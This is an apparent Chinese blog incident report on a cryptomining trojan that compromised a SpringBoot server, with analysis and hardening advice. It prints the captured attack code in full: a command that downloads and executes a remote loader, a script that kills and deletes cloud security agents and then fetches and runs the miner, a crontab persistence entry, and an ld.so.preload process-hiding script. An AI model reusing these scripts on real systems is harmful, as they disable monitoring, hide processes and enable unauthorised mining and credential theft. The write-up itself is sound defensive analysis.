记一次服务器被入侵,没想到我轻松搞定了它~

VSole2022-06-10 06:42:09

常在河边走,哪能不湿鞋。自认为安全防范意识不错,没想到服务器被入侵挖矿的事情也能落到自己头上。

本文简要记录发现服务器被入侵挖矿的过程,同时分析木马的痕迹和信息,最后给出解决方法。

服务器被入侵挖矿过程

事情经过

昨天是周六,睡得比较晚。玩手机时忽然收到阿里云短信和邮件提醒,服务器有异常行为:

一看邮件内容就知道不得了,赶紧打开电脑处理。

首先用 netstat 命令查看端口,发现一个异常的端口,但不显示程序名。这时心里已经很清楚,服务器上的Java程序被远程执行代码(RCE),也许还被植入了 rootkit。

首要问题是保障业务正常可用,于是快速拉起另外一个实例,将业务迁移过去。接下来, 首先将被入侵服务器关机,然后一步步研究入侵过程,以及其在服务器上的行为。

入侵行为分析

根据邮件内容,一个 SpringBoot 应用被 getshell 并被执行远程代码。被执行的代码语句 base64 解码后为:

python -c 'import urllib;exec urllib.urlopen("http://m.windowsupdatesupport.org/d/loader.py").read()

将其下载,内容如下:

import sysimport osfrom os.path import expanduserver=sys.version
shs='''ps aux | grep -v grep | grep 'aegis' | awk '{print $11}' | xargs  dirname  | xargs  rm -rfps aux | grep -v grep | grep 'hids' | awk '{print $11}' | xargs  dirname  | xargs  rm -rfps aux | grep -v grep | grep 'cloudwalker' | awk '{print $11}' | xargs  dirname  | xargs  rm -rfps aux | grep -v grep | grep 'titanagent' | awk '{print $11}' | xargs  dirname  | xargs  rm -rfps aux | grep -v grep | grep 'edr' | awk '{print $2}' | xargs  -I {}  kill -9 {}ps aux | grep -v grep | grep 'aegis' | awk '{print $2}' | xargs  -I {}  kill -9 {}ps aux | grep -v grep | grep 'Yun' | awk '{print $2}' | xargs  -I {}  kill -9 {}ps aux | grep -v grep | grep 'hids' | awk '{print $2}' | xargs  -I {}  kill -9 {}ps aux | grep -v grep | grep 'edr' | awk '{print $2}' | xargs  -I {}  kill -9 {}ps aux | grep -v grep | grep 'cloudwalker' | awk '{print $2}' | xargs  -I {}  kill -9 {}ps aux | grep -v grep | grep 'titanagent' | awk '{print $2}' | xargs  -I {}  kill -9 {}ps aux | grep -v grep | grep 'sgagent' | awk '{print $2}' | xargs  -I {}  kill -9 {}ps aux | grep -v grep | grep 'barad_agent' | awk '{print $2}' | xargs  -I {}  kill -9 {}ps aux | grep -v grep | grep 'hostguard' | awk '{print $2}' | xargs  -I {}  kill -9 {}
rm -rf /usr/local/aegisrm -rf /usr/local/qcloudrm -rf /usr/local/hostguard/bin
ps aux | grep -v grep | grep 'kworkers' | awk '{print $2}' | xargs  -I {}  kill -9 {}
'''os.system(shs)domainroota="m.windowsupdatesupport.org"#domainroota="192.168.67.131"#$domainroota#curl  http://$domainroota/d/kworkers -o $gitdir/kworkershomedir=expanduser("~")gitdir=""try:    os.mkdir(homedir+"/.git")except Exception as e:    print(e)if os.path.isdir(homedir+"/.git"):    gitdir=homedir+"/.git"try:    os.mkdir("./.git")except Exception as e:    print(e)if os.path.isdir("./.git"):    gitdir="./.git"downloadu="http://{}/d/kworkers".format(domainroota)if ver.startswith("3"):    import urllib.request    with urllib.request.urlopen(downloadu) as f:        html = f.read()        open(gitdir + "/kworkers", 'wb').write(html)else:    import urllib2    with open(gitdir + "/kworkers", 'wb') as f:        f.write(urllib2.urlopen("http://{}/d/kworkers".format(domainroota)).read())        f.close()print ("Download Complete!")os.system("chmod 777 "+gitdir+"/kworkers")if os.path.isfile('/.dockerenv'):    os.system(gitdir+"/kworkers")else:    os.system("nohup {}/kworkers >>{}/.log&".format(gitdir,gitdir))

远程代码主要做了这些事情:

  1. 卸载服务器上的安全监控工具;事后开机,发现阿里云盾果然被卸载了
  2. 关掉所有kworkers进程;
  3. 在当前目录下创建 .git 目录,下载并执行 kworkers 程序。

上网搜了一下 kworkers,发现是挖矿应用,并非加密勒索等木马,心里稍微安心一点。通过阿里云后台监控,可以看到木马入侵后,短时间内cpu占用率飙升(本人处理及时,木马挖矿时间大概持续5分钟左右):

服务器残留痕迹

大概知道了木马的行为,接着重启服务器,查看服务器上的痕迹。

1、查看有无添加定时任务:

# crontab -l0 2 * * * /xxx/.git/kworkers

木马添加了定时启动任务。

2、进入木马主目录,发现下载了如下文件:

此外,上层目录和家目录还多了 cert_key.pemcert.pem 两个文件,分别存放公钥和密钥。

3、查看木马留下的日志,有如下内容:

/xxx/.git/xxx/.gitworking dir /xxx from pid 23684version not exist downloadDownloaded: http://m.windowsupdatesupport.org/d/downloadversion not exist dbusDownloaded: http://m.windowsupdatesupport.org/d/dbusversion not exist hideproc.shDownloaded: http://m.windowsupdatesupport.org/d/hideproc.sherror exit status 1version not exist sshkey.shDownloaded: http://m.windowsupdatesupport.org/d/sshkey.shversion not exist autoupdateDownloaded: http://m.windowsupdatesupport.org/d/autoupdateversion not exist kworkersKey path not found/xxx/.gitpassfound  protectedpassfound  providedpassfound  +clientpassfound  +clientpassfound  protectedpassfound  providedpassfound  qualitypassfound  (pluspassfound  (digits,passfound  promptfound aksk xxxx xxxxfound aksk xxxx xxxxpassfound  xxxpassfound  xxxpassfound  xxxpassfound  xxxpassfound  xxxpassfound  xxxlstat /proc/7776/fd/3: no such file or directorylstat /proc/7776/fdinfo/3: no such file or directorylstat /proc/7776/task/7776/fd/3: no such file or directorylstat /proc/7776/task/7776/fdinfo/3: no such file or directorylstat /proc/7776/task/7777/fd/3: no such file or directorylstat /proc/7776/task/7777/fdinfo/3: no such file or directorylstat /proc/7776/task/7778/fd/3: no such file or directorylstat /proc/7776/task/7778/fdinfo/3: no such file or directorylstat /proc/7776/task/7779/fd/3: no such file or directorylstat /proc/7776/task/7779/fdinfo/3: no such file or directorylstat /proc/7776/task/7780/fd/3: no such file or directorylstat /proc/7776/task/7780/fdinfo/3: no such file or directorylstat /proc/7776/task/7781/fd/3: no such file or directorylstat /proc/7776/task/7781/fdinfo/3: no such file or directorylstat /proc/7776/task/7782/fd/3: no such file or directorylstat /proc/7776/task/7782/fdinfo/3: no such file or directorylstat /proc/7776/task/7783/fd/3: no such file or directorylstat /proc/7776/task/7783/fdinfo/3: no such file or directoryrestart cmd  /xxx/.git/kworkers/xxx/.gitpassfound  file,passfound  settingspassfound  file.passfound  callbackspassfound  Callbackpassfound  examplepassfound  promptpassfound  passwordpassfound  informationpassfound  tokenpassfound  tokenpassfound  tokenpassfound  Passwordpassfound  passwordpassfound  passwordpassfound  -basedpassfound  Passwordpassfound  (usingpassfound  field>passfound  retrypassfound  foobarpassfound  foobarpassfound  foobarpassfound  foobarpassfound  foobarpassfound  passwordpassfound  passwordpassfound  foobarpassfound  foobarpassfound  secretrtotal passwords 25xxx.xxx.xxx.xxxlan ipdoscan range  xxx.xxx.0.0/16ping...Receive 24 bytes from xxx.xxx.xxx.xxx: icmp_seq=0 time=496.309µsworking dir /xxx from pid 7792Receive 24 bytes from xxx.xxx.xxx: icmp_seq=0 time=257.973µsxxx.xxx.xxx is alivexxx.xxx.xxx is alivexxx.xxx.xxx:80  openxxx.xxx0xxx:443  openversion  same downloadversion  same dbusrestart dbusexec again dbus downrunkill process pid 23709
process completedversion  same hideproc.shskip restart hideproc.shversion  same sshkey.shskip restart sshkey.shversion  same autoupdateskip restart autoupdateversion  same kworkersKey path not found

根据日志,主要是下载程序,检测用户名和密码,探测内网,然后启动自动更新、隐藏进程等程序。

  1. hideproc.sh 感兴趣,其内容为:
if [ "$EUID" -ne 0 ]  then echo "Please run as root"else  if [ `grep libc2.28 /etc/ld.so.preload`  ]  then echo "hideproc already done!!"  else    apt-get update -y    apt-get install build-essential -y    yum check-update    yum install build-essential -y    dnf groupinstall "Development Tools" -y    yum group install "Development Tools"  -y    curl http://m.windowsupdatesupport.org/d/processhider.c -o  processhider.c
    gcc -Wall -fPIC -shared -o libc2.28.so processhider.c -ldl    mv libc2.28.so /usr/local/lib/ -f    grep libc2.28 /etc/ld.so.preload  || echo /usr/local/lib/libc2.28.so >> /etc/ld.so.preload    rm -f processhider.c    ls >/tmp/.1  2>&1    grep libc2.28.so /tmp/.1 && echo >/etc/ld.so.preload  fifi

其首先检测是否root用户,然后编译 libc2 共享库,注入隐藏进程的代码。这应该是用netstat无法查看到进程名的原因。

5、查看访问日志,发现期间有个IP对服务器进行爆破:

其他信息

除了上述文件,/tmp文件夹下还生成了.1和.1.sh文件;

查询可疑ip,位于国内北京市,应该是肉鸡;

查询木马下载域名 windowsupdatesupport.org,今年6月注册,解析ip都在国外。该域名很有混淆性,并且为了方便直接用http访问;

除了下载木马文件挖矿,未改变服务器上的其他数据。

服务器被入侵挖矿解决办法

虽然知道是 SpringBoot 应用触发了 RCE,但遗憾目前仍未找到是哪个包导致的漏洞。目前采取的缓解措施为:

1、被入侵服务器重装系统;

2、使用非 root 用户启动 SpringBoot 应用;

3、被入侵的是子系统,增加基本授权:

apt install -y apache2-utilshtpasswd /etc/nginx/conf.d/.htpasswd user

然后配置 Nginx 使用认证信息:

server {  ...  auth_basic  "子系统鉴权:";  auth_basic_user_file /etc/nginx/conf.d/.htpasswd;  ..}

4、防火墙限制对外连接。

上述错误能一定程度上避免类似情况再次发生,但找到应用程序中的漏洞才是接下来的重点。

总结

幸运的是这次来的是挖矿木马,服务器上的程序和数据都未受影响。也很感谢阿里云免费的安全提醒,让我在第一时间处理。

但这次事故也敲醒了警钟:

  1. 不要随意用 root 权限运行程序;
  2. 防火墙权限要严格收紧;
  3. 做好安全监控;
  4. 时刻做好数据备份。
awk命令xargs
本作品采用《CC 协议》,转载必须注明作者和本文链接
Linux命令xargs命令
2022-04-14 06:59:54
xargs 可以将 stdin 中以空格或换行符进行分隔的数据,形成以空格分隔的参数(arguments),传递给其他命令。因为以空格作为分隔符,所以有一些文件名或者其他意义的字符串内含有空格的时候,xargs 可能会误判。简单来说,xargs 的作用是给其他命令传递参数,是构建单行命令的重要组件之一。 之所以要用到 xargs,是因为很多命令不支持使用管道 | 来传递参数,例如:
大多数计算机系统设计为可与多个用户一起使用。特权是指允许用户执行的操作。普通特权包括查看和编辑文件或修改系统文件。特权升级意味着用户获得他们无权获得的特权。这些特权可用于删除文件,查看私人信息或安装不需要的程序,例如病毒。
一文吃透 Linux 提权
2021-10-23 07:09:32
特权升级意味着用户获得他们无权获得的特权。通常,当系统存在允许绕过安全性的错误或对使用方法的设计假设存在缺陷时,通常会发生这种情况。结果是,具有比应用程序开发人员或系统管理员想要的特权更多的应用程序可以执行未经授权的操作。
虽然平时大部分工作都是和Java相关的开发, 但是每天都会接触Linux系统, 尤其是使用了Mac之后, 每天都是工作在黑色背景的命令行环境中. 自己记忆力不好, 很多有用的Linux命令不能很好的记忆, 现在逐渐总结一下, 以便后续查看。
推荐值得收藏 40 个命令总结,助你效率提升多倍
1、查找当前目录下所有以.tar结尾的文件然后移动到指定目录: find . -name “*.tar” -exec mv {}./backup/ ; 注解:find –name 主要用于查找某个文件名字,-exec 、xargs可以用来承接前面的结果,然后将要执行的动作,一般跟find在一起用的很多,find使用我们可以延伸-mtime查找修改时间、-type是指定对象类型(常见包括f代表文件
获取hackerone的范围资产和一些提高信息收集效率的一些命令
最全Linux命令总结
今天,给小伙伴们带来一篇 Linux 命令总结的非常全的文章,也是我们平时工作中使用率非常高的操作命令,命令有点多,建议小伙伴们可以先收藏后阅读。
VSole
网络安全专家